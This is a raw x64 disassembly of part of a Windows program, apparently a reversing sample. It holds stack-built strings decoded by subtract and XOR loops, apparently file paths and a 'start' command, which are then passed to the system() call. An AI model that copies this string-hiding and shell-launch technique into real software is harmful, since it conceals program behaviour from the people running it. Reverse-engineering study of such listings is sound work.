int3
call fcn.14000b920
movdqu xmmword [rbp - 0x50], xmm6
mov byte [rbp - 0x60], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14000251f
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000251a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000251a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000b920
movdqu xmmword [rbp - 0x70], xmm6
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x140002566
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002561
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002561
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000b920
movdqu xmmword [rbp + 0x18], xmm6
mov byte [rbp + 8], 0
lea rax, [rbp + 0x68]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x38], xmm1
lea rax, [rbp + 0x100]
mov rbx, rdi
inc rbx
cmp byte [rax + rbx], 0
jne 0x140002591
cmp rbx, r14
ja 0x140002ddb
cmp rbx, 0xf
ja 0x1400025d2
mov qword [rbp + 0x38], rbx
mov qword [rbp + 0x40], 0xf
mov r8, rbx
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x28]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx + 0x28], 0
jmp 0x140002670
mov r13, rbx
or r13, 0xf
cmp r13, r14
jbe 0x14000260f
mov r13, r14
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14000b6a4
test rax, rax
je 0x140002948
lea r12, [rax + 0x27]
and r12, 0xffffffffffffffe0
mov qword [r12 - 8], rax
jmp 0x14000264a
cmp r13, 0x16
mov eax, 0x16
cmovb r13, rax
lea rcx, [r13 + 1]
test rcx, rcx
jne 0x14000262a
xor r12d, r12d
jmp 0x14000264a
cmp rcx, 0x1000
jb 0x140002642
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002dbd
jmp 0x1400025ef
call fcn.14000b6a4
mov r12, rax
mov qword [rbp + 0x28], r12
mov qword [rbp + 0x38], rbx
mov qword [rbp + 0x40], r13
mov r8, rbx
lea rdx, [rbp + 0x100]
mov rcx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [r12 + rbx], 0
xor r13d, r13d
mov r8, qword [rbp + 0x38]
mov rcx, qword [rbp + 0x40]
mov rax, rcx
sub rax, r8
cmp rax, 9
jb 0x1400026fd
lea rax, [r8 + 9]
mov qword [rbp + 0x38], rax
lea rbx, [rbp + 0x28]
cmp rcx, 0xf
cmova rbx, qword [rbp + 0x28]
lea rax, [0x14000d421]
cmp rax, rbx
jbe 0x1400026c0
lea rax, [rbx + r8]
cmp rsi, rax
ja 0x1400026c0
cmp rbx, rsi
ja 0x1400026b8
mov r12, r13
jmp 0x1400026c3
mov r12, rbx
sub r12, rsi
jmp 0x1400026c3
mov r12, r15
lea rcx, [rbx + 9]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, r12
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + r12]
sub r15, r12
lea rdx, [r12 + 9]
add rdx, rsi
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x28]
jmp 0x140002713
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rsi
mov rdx, r15
lea rcx, [rbp + 0x28]
call fcn.140003c50
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov byte [rsp + 0x40], 0x63
mov byte [rsp + 0x41], 0x4b
mov byte [rsp + 0x42], 0x76
mov byte [rsp + 0x43], 0x6a
mov byte [rsp + 0x44], 0x7c
mov byte [rsp + 0x45], 0x74
mov byte [rsp + 0x46], 0x6c
mov byte [rsp + 0x47], 0x75
mov byte [rsp + 0x48], 0x7b
mov byte [rsp + 0x49], 0x7a
mov byte [rsp + 0x4a], 0x63
mov byte [rsp + 0x4b], 0x73
mov byte [rsp + 0x4c], 0x70
mov byte [rsp + 0x4d], 0x69
mov byte [rsp + 0x4e], 0x6a
mov byte [rsp + 0x4f], 0x7c
mov byte [rsp + 0x50], 0x79
mov byte [rsp + 0x51], 0x73
mov byte [rsp + 0x52], 0x35
mov byte [rsp + 0x53], 0x6b
mov byte [rsp + 0x54], 0x73
mov byte [rsp + 0x55], 0x73
mov byte [rsp + 0x56], 0
movzx eax, byte [rsp + 0x40]
mov rcx, r13
nop dword [rax + rax]
movzx eax, byte [rsp + rcx + 0x40]
sub al, 7
mov byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0x16
jb 0x1400027c0
lea r8, [rsp + 0x40]
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x60]
call fcn.1400030d0
nop
cmp qword [rax + 0x18], 0xf
jbe 0x1400027f1
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.140002e80
mov rbx, rax
mov dword [rsp + 0x60], 0x65
mov byte [rsp + 0x64], 9
mov byte [rsp + 0x65], 0xc
mov byte [rsp + 0x66], 7
mov byte [rsp + 0x67], 6
mov byte [rsp + 0x68], 0x10
mov byte [rsp + 0x69], 0x17
mov byte [rsp + 0x6a], 9
mov byte [rsp + 0x6b], 0x4b
mov byte [rsp + 0x6c], 1
mov byte [rsp + 0x6d], 9
mov byte [rsp + 0x6e], 9
xor eax, eax
mov byte [rsp + 0x6f], al
movzx eax, byte [rsp + 0x64]
mov rdx, r13
nop dword [rax]
movzx eax, byte [rsp + rdx + 0x64]
mov ecx, dword [rsp + 0x60]
xor cl, al
mov byte [rsp + rdx + 0x64], cl
inc rdx
cmp rdx, 0xb
jb 0x140002850
mov byte [rsp + 0x6f], 0
lea rdx, [rsp + 0x64]
lea rcx, [rbp + 0x48]
call fcn.140002e80
nop
mov rdx, rbx
mov rcx, rax
call fcn.1400012e0
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x1400028c6
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028c1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400028c1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000b920
movdqu xmmword [rbp - 0x50], xmm6
mov byte [rbp - 0x60], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14000290d
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002908
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002908
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000b920
movdqu xmmword [rbp - 0x70], xmm6
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 0xf
jbe 0x140002954
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000294f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000294f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000b920
movdqu xmmword [rbp + 0x38], xmm6
mov byte [rbp + 0x28], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
lea rax, [rbp + 0x100]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140002973
cmp rdi, r14
ja 0x140002da5
cmp rdi, 0xf
ja 0x1400029b4
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], 0xf
mov r8, rdi
lea rdx, [rbp + 0x100]
lea rcx, [rbp - 0x80]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rdi - 0x80], 0
jmp 0x140002a4d
mov rax, rdi
or rax, 0xf
cmp rax, r14
jbe 0x1400029ed
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14000b6a4
test rax, rax
je 0x140002d62
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140002a2b
mov r14, rax
cmp rax, 0x16
mov eax, 0x16
cmovb r14, rax
lea rcx, [r14 + 1]
test rcx, rcx
jne 0x140002a0b
mov rbx, r13
jmp 0x140002a2b
cmp rcx, 0x1000
jb 0x140002a23
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002dc3
jmp 0x1400029ce
call fcn.14000b6a4
mov rbx, rax
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], r14
mov r8, rdi
lea rdx, [rbp + 0x100]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rdi], 0
mov byte [rsp + 0x70], 0x75
mov byte [rsp + 0x71], 0x76
mov byte [rsp + 0x72], 0x63
mov byte [rsp + 0x73], 0x74
mov byte [rsp + 0x74], 0x76
mov byte [rsp + 0x75], 0x22
mov byte [rsp + 0x76], 0x45
mov byte [rsp + 0x77], 0x3c
mov byte [rsp + 0x78], 0x5e
mov byte [rsp + 0x79], 0x57
mov byte [rsp + 0x7a], 0x75
mov byte [rsp + 0x7b], 0x67
mov byte [rsp + 0x7c], 0x74
mov byte [rsp + 0x7d], 0x75
mov byte [rsp + 0x7e], 0x5e
mov byte [rsp + 0x7f], 0
movzx eax, byte [rsp + 0x70]
mov rcx, r13
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x70]
sub al, 2
mov byte [rsp + rcx + 0x70], al
inc rcx
cmp rcx, 0xf
jb 0x140002ab0
lea r8, [rbp - 0x80]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x68]
call fcn.140002fa0
mov r9, rax
mov dword [rsp + 0x40], 0x77
mov byte [rsp + 0x44], 0x2b
mov byte [rsp + 0x45], 0x33
mov byte [rsp + 0x46], 0x18
mov byte [rsp + 0x47], 0x14
mov byte [rsp + 0x48], 2
mov byte [rsp + 0x49], 0x1a
mov byte [rsp + 0x4a], 0x12
mov byte [rsp + 0x4b], 0x19
mov byte [rsp + 0x4c], 3
mov byte [rsp + 0x4d], 4
mov byte [rsp + 0x4e], 0x2b
mov byte [rsp + 0x4f], 0x27
mov byte [rsp + 0x50], 5
mov byte [rsp + 0x51], 0x16
mov byte [rsp + 0x52], 0x14
mov byte [rsp + 0x53], 3
mov byte [rsp + 0x54], 0x45
mov byte [rsp + 0x55], 0x59
mov byte [rsp + 0x56], 0x12
mov byte [rsp + 0x57], 0xf
mov byte [rsp + 0x58], 0x12
xor eax, eax
mov byte [rsp + 0x59], al
movzx eax, byte [rsp + 0x44]
mov rdx, r13
nop dword [rax + rax]
movzx eax, byte [rsp + rdx + 0x44]
mov ecx, dword [rsp + 0x40]
xor cl, al
mov byte [rsp + rdx + 0x44], cl
inc rdx
cmp rdx, 0x15
jb 0x140002b60
mov byte [rsp + 0x59], 0
lea r8, [rsp + 0x44]
mov rdx, r9
lea rcx, [rbp + 0x48]
call fcn.1400030d0
nop
cmp qword [rax + 0x18], 0xf
jbe 0x140002b99
mov rax, qword [rax]
mov qword [rsp + 0x60], rax
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rax, 0x14d
mov qword [rbp - 0x60], rax
mov dword [rbp - 0x58], 0x14d
xor eax, eax
mov qword [rbp + 0x90], rax
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], r13
mov qword [rbp + 0xb8], r13
mov qword [rbp + 0xc0], r13
mov ecx, 0x10
call fcn.14000b6a4
mov qword [rax + 8], r13
mov qword [rbp + 0xa0], rax
lea rcx, [rbp + 0xa0]
mov qword [rax], rcx
mov word [rbp + 0xd0], 0
mov qword [rbp + 0xd6], r13
mov qword [rbp + 0xde], r13
xor eax, eax
mov word [rbp + 0xd3], ax
mov byte [rbp + 0xd5], al
mov word [rbp + 0xd6], ax
mov byte [rbp + 0xd8], al
mov word [rbp + 0xd9], ax
mov byte [rbp + 0xdb], al
mov word [rbp + 0xdc], ax
mov byte [rbp + 0xde], al
mov word [rbp + 0xdf], ax
mov byte [rbp + 0xe1], al
mov word [rbp + 0xe2], ax
mov byte [rbp + 0xe4], al
mov dword [rbp + 0x9c], r13d
mov dword [rbp + 0xcc], r13d
movaps xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm0
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x90]
call fcn.1400033e0
nop
lea rcx, [rbp + 0xa0]
call fcn.140003ab0
nop
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x140002cdd
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002cd8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002cd8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000b920
movdqu xmmword [rbp + 0x58], xmm6
mov byte [rbp + 0x48], 0
mov rdx, qword [rbp + 0x80]
cmp rdx, 0xf
jbe 0x140002d27
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d22
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002d22
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000b920
movdqu xmmword [rbp + 0x78], xmm6
mov byte [rbp + 0x68], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140002d6e
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d69
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002d69
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000b920
xor eax, eax
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.14000b5a0
lea r11, [rsp + 0x330]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011b0
int3
call fcn.140001110
int3
call fcn.140001110
int3
call fcn.140001110
int3
call fcn.140001110
int3
call fcn.140001110
int3
call fcn.1400011b0
int3
call fcn.1400011b0
int3
call fcn.1400011b0
int3
call fcn.1400011b0
int3